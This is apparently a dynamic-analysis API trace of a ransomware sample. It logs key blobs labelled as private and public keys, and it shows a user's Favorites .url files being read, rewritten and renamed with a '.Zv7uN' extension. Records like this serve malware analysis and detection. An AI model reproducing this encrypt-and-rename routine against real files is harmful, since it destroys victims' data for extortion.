MKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0125.405] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x1ef003c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0125.406] GetCurrentThreadId () returned 0xa30 [0125.407] GetCurrentThreadId () returned 0xa30 [0125.407] GetCurrentThreadId () returned 0xa30 [0125.407] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0125.407] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f0109c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0125.407] GetCurrentThreadId () returned 0xa30 [0125.408] GetCurrentThreadId () returned 0xa30 [0125.408] GetCurrentThreadId () returned 0xa30 [0125.408] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live gallery.url"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0125.408] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f694*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f694*=0) returned 0x0 [0125.408] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0125.408] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x85 [0125.408] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0125.408] ReadFile (in: hFile=0x1ec, lpBuffer=0x1f08ea0, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x18f6a0, lpOverlapped=0x0 | out: lpBuffer=0x1f08ea0*, lpNumberOfBytesRead=0x18f6a0*=0x85, lpOverlapped=0x0) returned 1 [0125.411] CloseHandle (hObject=0x1ec) returned 1 [0125.411] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live gallery.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0125.413] WriteFile (in: hFile=0x1ec, lpBuffer=0x1f0aed0*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x18f6ac, lpOverlapped=0x0 | out: lpBuffer=0x1f0aed0*, lpNumberOfBytesWritten=0x18f6ac*=0x85, lpOverlapped=0x0) returned 1 [0125.415] CloseHandle (hObject=0x1ec) returned 1 [0125.416] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live gallery.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live gallery.url.zv7un")) returned 1 [0125.416] GetCurrentThreadId () returned 0xa30 [0125.416] GetCurrentThreadId () returned 0xa30 [0125.417] GetCurrentThreadId () returned 0xa30 [0125.417] GetCurrentThreadId () returned 0xa30 [0125.417] GetCurrentThreadId () returned 0xa30 [0125.417] GetCurrentThreadId () returned 0xa30 [0125.417] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Windows Live Mail.url", cAlternateFileName="WINDOW~1.URL")) returned 1 [0125.417] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0125.417] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0125.417] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live mail.url"), fInfoLevelId=0x0, lpFileInformation=0x18f6e0 | out: lpFileInformation=0x18f6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1 [0125.417] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live mail.url")) returned 0x20 [0125.417] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url", dwFileAttributes=0x80) returned 1 [0125.419] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0125.419] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4